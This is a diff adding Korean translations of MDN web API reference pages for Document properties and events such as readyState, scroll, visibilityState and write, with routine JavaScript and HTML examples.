+ &lt;div class="inner"&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="자바스크립트">자바스크립트</h3>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1 입니다. 0 이 아닙니다!
+</pre>
+
+<p>클래스 <code>"select"</code> 를 갖는 <code>&lt;div&gt;</code> 컨텍스트에서 <code>".outer .inner"</code> 를 셀렉팅할 때, .outer 가 탐색을 수행하는 기본 엘리먼트(<code>".select"</code>)의 자손이 아님에도 클래스 <code>".inner"</code> 가 탐색됩니다. 기본적으로 <code>querySelectorAll()</code> 은 탐색 범위 내에서 셀렉터의 마지막 엘리먼트만을 검증합니다.</p>
+
+<p>{{cssxref(":scope")}} 가상 클래스는 예상된 동작을하도록 하지만, 베이스 엘리먼트의 자손에 일치하는 셀렉터로만 제한됩니다:</p>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td>표준</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+ <td>{{Spec2("Selectors API Level 2")}}</td>
+ <td>변동 없음</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+ <td>{{Spec2("Selectors API Level 1")}}</td>
+ <td>기존 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.querySelectorAll")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">셀렉터를 사용해 DOM 엘리먼트 찾기</a></li>
+ <li>CSS 가이드의 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Attribute_selectors">속성 셀렉터</a></li>
+ <li>MDN 학습 영역의 <a href="https://developer.mozilla.org/ko/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">속성 셀렉터</a></li>
+ <li>{{domxref("Element.querySelector()")}} 와 {{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} 와 {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} 와 {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Archive/Add-ons/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector"><code>querySelector()</code> 코드 조각</a></li>
+</ul>
diff --git a/files/ko/web/api/document/readystate/index.html b/files/ko/web/api/document/readystate/index.html
new file mode 100644
index 0000000000..08384c6174
--- /dev/null
+++ b/files/ko/web/api/document/readystate/index.html
@@ -0,0 +1,125 @@
+---
+title: Document.readyState
+slug: Web/API/Document/readyState
+translation_of: Web/API/Document/readyState
+---
+<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}</div>
+
+<p><strong><code>Document.readyState</code></strong> 속성을 통해  {{domxref("document")}}의 로딩 상태를 확인할 수 있다.</p>
+
+<p>Document.readyState 속성 값이 바뀔 때 {{event("readystatechange")}} 이벤트가 {{domxref("document")}}에서 일어난다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>string</var> = <var>document</var>.readyState;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">document의 </span></font>readyState</code> 상태는 아래 3가지가 될 수 있다.</p>
+
+<dl>
+ <dt><code>loading</code></dt>
+ <dd> {{domxref("document")}} 로딩 중.</dd>
+ <dt><code>interactive</code></dt>
+ <dd>문서의 로딩은 끝이 나고 해석 중 이지만  images, stylesheets, frames과 같은 하위 자원들은 로딩되고 있는 상태이다.</dd>
+ <dt><code>complete</code></dt>
+ <dd>문서와 모든 하위 자원들의 로드가 완료된 상태이다. 이 상태는 {{event("load")}}  이벤트가 발생되기 직전 상태이다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Different_states_of_readiness">Different states of readiness</h3>
+
+<pre class="brush: js">switch (document.readyState) {
+ case "loading":
+ // The document is still loading.
+ break;
+ case "interactive":
+ // The document has finished loading. We can now access the DOM elements.
+ // But sub-resources such as images, stylesheets and frames are still loading.
+ var span = document.createElement("span");
+ span.textContent = "A &lt;span&gt; element.";
+ document.body.appendChild(span);
+ break;
+ case "complete":
+ // The page is fully loaded.
+ console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+ break;
+}
+</pre>
+
+<h3 id="readystatechange_as_an_alternative_to_DOMContentLoaded_event">readystatechange as an alternative to DOMContentLoaded event</h3>
+
+<pre class="brush: js">// Alternative to DOMContentLoaded event
+document.onreadystatechange = function () {
+ if (document.readyState === 'interactive') {
+ initApplication();
+ }
+}
+</pre>
+
+<h3 id="readystatechange_as_an_alternative_to_load_event">readystatechange as an alternative to load event</h3>
+
+<pre class="brush: js">// Alternative to load event
+document.onreadystatechange = function () {
+ if (document.readyState === 'complete') {
+ initApplication();
+ }
+}</pre>
+
+<h3 id="readystatechange_as_event_listener_to_insert_or_modify_the_DOM_before_DOMContentLoaded">readystatechange as event listener to insert or modify the DOM before DOMContentLoaded</h3>
+
+<pre class="brush: js">document.addEventListener('readystatechange', event =&gt; {
+ if (event.target.readyState === 'interactive') {
+ initLoader();
+ }
+ else if (event.target.readyState === 'complete') {
+ initApp();
+ }
+});
+
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<div>{{Compat("api.Document.readyState")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{event("readystatechange")}} event</li>
+ <li>{{event("DOMContentLoaded")}} event</li>
+ <li>{{event("load")}} event</li>
+</ul>
diff --git a/files/ko/web/api/document/readystatechange_event/index.html b/files/ko/web/api/document/readystatechange_event/index.html
new file mode 100644
index 0000000000..3286bb4727
--- /dev/null
+++ b/files/ko/web/api/document/readystatechange_event/index.html
@@ -0,0 +1,139 @@
+---
+title: 'Document: readystatechange event'
+slug: Web/API/Document/readystatechange_event
+translation_of: Web/API/Document/readystatechange_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>readystatechange</code></strong> 이벤트는 현재 페이지의 {{domxref("Document.readyState", "readyState")}}  속성값이 변할 때 발생한다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Bubbles</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Cancelable</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Interface</th>
+ <td>{{domxref("Event")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Event handler property</th>
+ <td><code>onreadystatechange</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Live_example">Live example</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="controls"&gt;
+ &lt;button id="reload" type="button"&gt;Reload&lt;/button&gt;
+&lt;/div&gt;
+
+&lt;div class="event-log"&gt;
+ &lt;label&gt;Event log:&lt;/label&gt;
+ &lt;textarea readonly class="event-log-contents" rows="8" cols="30"&gt;&lt;/textarea&gt;
+&lt;/div&gt;</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">body {
+ display: grid;
+ grid-template-areas: "control log";
+}
+
+.controls {
+ grid-area: control;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+}
+
+.event-log {
+ grid-area: log;
+}
+
+.event-log-contents {
+ resize: none;
+}
+
+label, button {
+ display: block;
+}
+
+#reload {
+ height: 2rem;
+}
+
+</pre>
+</div>
+
+<h4 id="JS">JS</h4>
+
+<pre class="brush: js">const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () =&gt; {
+ log.textContent ='';
+ window.setTimeout(() =&gt; {
+ window.location.reload(true);
+ }, 200);
+});
+
+window.addEventListener('load', (event) =&gt; {
+ log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) =&gt; {
+ log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) =&gt; {
+ log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Live_example', '100%', '160px') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.readystatechange_event")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related events: <code><a href="/en-US/docs/Web/API/Document/DOMContentLoaded_event">DOMContentLoaded</a></code>, <code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, <code><a href="/en-US/docs/Web/API/Window/beforeunload_event">beforeunload</a></code>, <code><a href="/en-US/docs/Web/API/Window/unload_event">unload</a></code></li>
+</ul>
diff --git a/files/ko/web/api/document/referrer/index.html b/files/ko/web/api/document/referrer/index.html
new file mode 100644
index 0000000000..547eaf2993
--- /dev/null
+++ b/files/ko/web/api/document/referrer/index.html
@@ -0,0 +1,23 @@
+---
+title: Document.referrer
+slug: Web/API/Document/referrer
+translation_of: Web/API/Document/referrer
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div>링크를 통해 현재 페이지로 이동 시킨, 전 페이지의 URI 정보를 반환.</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>string</var> = document.referrer;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>페이지로 바로 접근하였을 경우 이 값은 빈 문자열을 반환함.(링크를 통해서 온것이 아닌, 예를 들면, 북마크를 통해서 이동했을 경우). 문자열만을 반환하기 때문에,  참조 페이지(referring page)에 대한 DOM  액세스가 제공되지 않음. </p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95229140">DOM Level 2: referrer</a></li>
+</ul>
diff --git a/files/ko/web/api/document/scroll_event/index.html b/files/ko/web/api/document/scroll_event/index.html
new file mode 100644
index 0000000000..6552fbf6f2
--- /dev/null
+++ b/files/ko/web/api/document/scroll_event/index.html
@@ -0,0 +1,141 @@
+---
+title: scroll
+slug: Web/API/Document/scroll_event
+tags:
+ - DOM
+ - Event
+ - Event Handler
+ - Reference
+ - 레퍼런스
+ - 이벤트
+ - 이벤트핸들링
+translation_of: Web/API/Document/scroll_event
+---
+<p>document view 나 element가 스크롤 될 때, <strong><code>scroll</code></strong>  이벤트가 발생합니다.</p>
+
+<h2 id="개요">개요</h2>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+ <tr>
+ <th>인터페이스</th>
+ <td>{{domxref("UIEvent")}}</td>
+ </tr>
+ <tr>
+ <th>버블</th>
+ <td>element에는 없지만, document에서 실행될 때 버블링이 발생합니다.</td>
+ </tr>
+ <tr>
+ <th>취소가능여부</th>
+ <td>불가</td>
+ </tr>
+ <tr>
+ <th>타겟</th>
+ <td>DefaultView, {{domxref("Document")}}, {{domxref("Element")}}</td>
+ </tr>
+ <tr>
+ <th>기본 액션</th>
+ <td>없음</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">속성</th>
+ <th scope="col">타입</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td>{{domxref("EventTarget")}}</td>
+ <td>이벤트 대상 (DOM 트리의 최상위 타겟)</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>이벤트의 타입</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td>{{domxref("Boolean")}}</td>
+ <td>이벤트가 버블이 되는지</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td>{{domxref("Boolean")}}</td>
+ <td>이벤트 취소가 가능한지</td>
+ </tr>
+ <tr>
+ <td><code>view</code> {{readonlyInline}}</td>
+ <td>{{domxref("WindowProxy")}}</td>
+ <td>{{domxref("Document.defaultView")}} (document의 <code>window</code>)</td>
+ </tr>
+ <tr>
+ <td><code>detail</code> {{readonlyInline}}</td>
+ <td><code>long</code> (<code>float</code>)</td>
+ <td><code>0</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="스크롤_이벤트의_조절">스크롤 이벤트의 조절</h3>
+
+<p><code>scroll </code>이벤트가 빠른 속도로 실행될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같이 느린 작업을 실행하지 말아야 합니다. 대신, 다음을 사용하여 이벤트를 제한하는 것을 권장합니다.<br>
+ {{domxref("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{domxref("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}}, 혹은, {{domxref("CustomEvent")}}</p>
+
+<p>그러나 입력 이벤트와 애니메이션 프레임은 거의 동일한 속도로 실행되므로 아래 최적화는 종종 불필요합니다. 다음은 <code>requestAnimationFrame</code>에 대한 <code>scroll</code>이벤트를 최적화하는 예제입니다.</p>
+
+<pre class="brush: js">// 참조: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+ // scroll 위치에 대한 작업을 하세요
+}
+
+window.addEventListener('scroll', function(e) {
+ last_known_scroll_position = window.scrollY;
+
+ if (!ticking) {
+ window.requestAnimationFrame(function() {
+ doSomething(last_known_scroll_position);
+ ticking = false;
+ });
+
+ ticking = true;
+ }
+});</pre>
+
+<h3 id="추가_예제">추가 예제</h3>
+
+<p>더 보려면, {{Event("resize")}} 이벤트 페이지에 비슷한 예제가 있습니다.</p>
+
+<h2 id="사양">사양</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a></li>
+ <li><a href="http://www.w3.org/TR/cssom-view/#scrolling-0">CSSOM View</a></li>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="iOS_UIWebView">iOS UIWebView</h3>
+
+<p>iOS UIWebViews에서, 스크롤 중에는 <code>scroll</code> 발생하지 않습니다. 스크롤이 끝났을 때, 발생됩니다. <a href="https://github.com/twbs/bootstrap/issues/16202">Bootstrap issue #16202</a>를 참고하세요. 사파리와 WKWebViews에서는 이 문제가 발생하지 않습니다.</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{domxref("GlobalEventHandlers.onscroll")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/stylesheetsets/index.html b/files/ko/web/api/document/stylesheetsets/index.html
new file mode 100644
index 0000000000..b69b728e89
--- /dev/null
+++ b/files/ko/web/api/document/stylesheetsets/index.html
@@ -0,0 +1,59 @@
+---
+title: Document.styleSheetSets
+slug: Web/API/Document/styleSheetSets
+tags:
+ - API
+ - CSSOM
+ - DOM
+ - Property
+ - Reference
+ - Stylesheets
+translation_of: Web/API/Document/styleSheetSets
+---
+<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}</div>
+
+<p><code><strong>styleSheetSets</strong></code>의 읽기 전용 속성은 현재 사용 가능한 모든 스타일 시트 세트의 live 리스트를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">var <var>sets</var> = <var>document</var>.styleSheetSets;
+</pre>
+
+<p> 반환시, <code>sets</code>는 사용할 수 있는 스타일 시트 세트의 리스트.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>ID가 "sheetList"인 {{HTMLElement("ul")}} (list) 요소가 주어지면, 사용 가능한 모든 스타일 시트 세트의 이름으로 아래와 같은 코드로 채울 수 있습니다.</p>
+
+<pre class="brush:js notranslate">let list = document.getElementById('sheetList');
+let sheets = document.styleSheetSets;
+
+list.innerHTML = '';
+
+for (let i = 0; i &lt; sheets.length; i++) {
+ let item = document.createElement('li');
+
+ item.innerHTML = sheets[i];
+ list.appendChild(item);
+}</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>사용 가능한 스타일 시트 세트 리스트는 문서에 사용 가능한 모든 스타일 시트를 열거하여 구성되고, {{domxref("document.styleSheets")}} 속성에 나열된 순서대로, 리스트에 제목을 가진 각각의 스타일 시트 <code>title</code>을 추가합니다. 중복 항목이 리스트에서 삭제됨. (대소문자 구분 비교 사용).</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.styleSheetSets")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{domxref("Stylesheet")}}</li>
+ <li>{{domxref("document.styleSheets")}}</li>
+ <li>{{domxref("document.lastStyleSheetSet")}}</li>
+ <li>{{domxref("document.preferredStyleSheetSet")}}</li>
+ <li>{{domxref("document.selectedStyleSheetSet")}}</li>
+ <li>{{domxref("document.enableStyleSheetsForSet()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/url/index.html b/files/ko/web/api/document/url/index.html
new file mode 100644
index 0000000000..527d754ddf
--- /dev/null
+++ b/files/ko/web/api/document/url/index.html
@@ -0,0 +1,69 @@
+---
+title: Document.URL
+slug: Web/API/Document/URL
+tags:
+ - API
+ - Document
+ - HTML DOM
+ - Property
+ - Reference
+translation_of: Web/API/Document/URL
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <code><strong>URL</strong></code> 읽기 전용 속성은 문서의 주소를 문자열로 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.getElementById("url").textContent = document.URL;</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="urlText"&gt;
+ URL:&lt;br/&gt;
+ &lt;span id="url"&gt;URL이 여기 보입니다&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 100)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td>Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}</td>
+ <td>{{Spec2("DOM1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.URL")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("HTMLDocument")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/visibilitychange_event/index.html b/files/ko/web/api/document/visibilitychange_event/index.html
new file mode 100644
index 0000000000..d15b1d3d38
--- /dev/null
+++ b/files/ko/web/api/document/visibilitychange_event/index.html
@@ -0,0 +1,72 @@
+---
+title: visibilitychange
+slug: Web/API/Document/visibilitychange_event
+tags:
+ - API
+ - Event
+ - Reference
+ - Web
+translation_of: Web/API/Document/visibilitychange_event
+---
+<div>{{APIRef}}</div>
+
+<p><code>visibilitychange</code> 이벤트는 브라우저 탭의 컨텐츠가 visible 또는 hidden 상태로 변화할 때 발생된다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Bubbles</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">Cancelable</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Interface</th>
+ <td>{{domxref("event")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Event handler property</th>
+ <td>{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js;">document.addEventListener("visibilitychange", function() {
+ console.log( document.visibilityState );
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}</td>
+ <td>{{Spec2('Page Visibility API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.visibilitychange")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/DOM/Using_the_Page_Visibility_API" title="DOM/Using_the_Page_Visibility_API">Using the Page Visibility API</a></li>
+ <li>{{domxref("Document.visibilityState")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/visibilitystate/index.html b/files/ko/web/api/document/visibilitystate/index.html
new file mode 100644
index 0000000000..5bbe2eb242
--- /dev/null
+++ b/files/ko/web/api/document/visibilitystate/index.html
@@ -0,0 +1,56 @@
+---
+title: Document.visibilityState
+slug: Web/API/Document/visibilityState
+tags:
+ - DOM
+ - Document
+ - Property
+ - Read-only
+ - Reference
+ - Web
+translation_of: Web/API/Document/visibilityState
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.visibilityState</strong></code> 읽기 전용 property로, 이 element가 현재 표시된 컨텍스트를 나타내는 {{domxref('document')}}의 가시성을 반환합니다. document가 background 또는 보이지 않는 탭(다른 탭)에 있는지, 또는 pre-rendering을 위해 로드 된 것인지를 아는 것은 유용합니다. 가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>'visible'</code> : 페이지 내용은 적어도 부분적으로 보일 수 있습니다. 실제로 이는 페이지가 최소화 되지 않은 창(브라우저)에서의 선택된 탭 을 의미 합니다.</li>
+ <li><code>'hidden</code>' : 페이지 내용은 사용자에게 표시되지 않습니다. 실제로 이는 document가 background-tap(다른 탭)이거나, 최소화 된 창의 일부이거나, OS 화면 잠금이 활성 상태임을 의미합니다.</li>
+ <li><code>'prerender'</code> : 페이지 내용이 pre-rendering되어 사용자에게 보이지 않습니다 (document.hidden 목적으로 숨겨진 것으로 간주 합니다.). document는이 상태에서 시작될 수 있지만, 절대로 다른 값에서 이 값으로 전환되지는 않습니다. 참고 : 브라우저 지원은 선택 사항입니다.</li>
+ <li><code>'unloaded</code>' : 페이지가 메모리에서 로드되지 않았습니다. 참고 : 브라우저 지원은 선택 사항입니다.</li>
+</ul>
+
+<p>이 property의 값이 변경되면 {{event ( 'visibilitychange')}} 이벤트가 {{domxref ( "Document")}}로 전송됩니다.</p>
+
+<p>일반적으로 document pre-rendering 시에 일부 assets의 다운로드를 막을 수 있습니다(역:초기 로딩 속도 향상). document가 백그라운드에 있거나 최소화 된 상태에서 일부 작업을 중지 할 수 있습니다(역:대표적으로 interval). 브라우저를 참고하십시오.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">document.addEventListener("visibilitychange", function() {
+ console.log(document.hidden);
+ // 숨김 여부가 변했을 때의 행동
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Page Visibility API','#dom-document-visibilitystate', 'Document.visibilityState')}}</td>
+ <td>{{Spec2('Page Visibility API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.visibilityState")}}</p>
diff --git a/files/ko/web/api/document/write/index.html b/files/ko/web/api/document/write/index.html
new file mode 100644
index 0000000000..5320bb2861
--- /dev/null
+++ b/files/ko/web/api/document/write/index.html
@@ -0,0 +1,102 @@
+---
+title: Document.write()
+slug: Web/API/Document/write
+translation_of: Web/API/Document/write
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>{{domxref("document.open()")}}에 의해 열린 문서 스팀에 텍스트 스트링을 적는다.</p>
+
+<div class="note">주: as <code>document.write</code> writes to the document <strong>stream</strong>, calling <code>document.write</code> on a closed (loaded) document automatically calls <code>document.open</code>, <a href="/en-US/docs/Web/API/document.open#Notes">which will clear the document</a>.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">document.write(<em>markup</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>markup</code></dt>
+ <dd>document 문성에 씌여질 텍스트를 포함하고 있는 스트링.</dd>
+</dl>
+
+<h3 id="예">예</h3>
+
+<pre class="brush: html">&lt;html&gt;
+
+&lt;head&gt;
+ &lt;title&gt;write example&lt;/title&gt;
+
+ &lt;script&gt;
+ function newContent() {
+ alert("load new content");
+ document.open();
+ document.write("&lt;h1&gt;Out with the old - in with the new!&lt;/h1&gt;");
+ document.close();
+ }
+ &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="newContent();"&gt;
+ &lt;p&gt;Some original document content.&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h2 id="주">주</h2>
+
+<p>Writing to a document that has already loaded without calling {{domxref("document.open()")}} will automatically call <code>document.open</code>. Once you have finished writing, it is recommended to call {{domxref("document.close()")}} to tell the browser to finish loading the page. The text you write is parsed into the document's structure model. In the example above, the <code>h1</code> element becomes a node in the document.</p>
+
+<p>If the <code>document.write()</code> call is embedded within an inlined HTML <code>&lt;script&gt;</code> tag, then it will not call <code>document.open()</code>. For example:</p>
+
+<pre class="brush: html">&lt;script&gt;
+ document.write("&lt;h1&gt;Main title&lt;/h1&gt;")
+&lt;/script&gt;
+</pre>
+
+<div class="note"><strong>Note</strong>: <code>document.write</code> and <code>document.writeln</code> <a href="/en-US/docs/Archive/Web/Writing_JavaScript_for_HTML">do not work in XHTML documents</a> (you'll get a "Operation is not supported" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] error in the error console). This happens when opening a local file with the .xhtml file extension or for any document served with an <code>application/xhtml+xml</code> {{Glossary("MIME type")}}. More information is available in the <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<div class="note"><strong>Note</strong>: <code>document.write</code> in <a href="/en-US/docs/Web/HTML/Element/script#attr-defer">deferred</a> or <a href="/en-US/docs/Web/HTML/Element/script#attr-async">asynchronous</a> scripts will be ignored, and you'll get a message like "A call to <code>document.write()</code> from an asynchronously-loaded external script was ignored" in the error console.</div>
+
+<div class="note"><strong>Note</strong>: In Edge only, calling <code>document.write</code> more than once in an iframe causes the error SCRIPT70: Permission denied.</div>
+
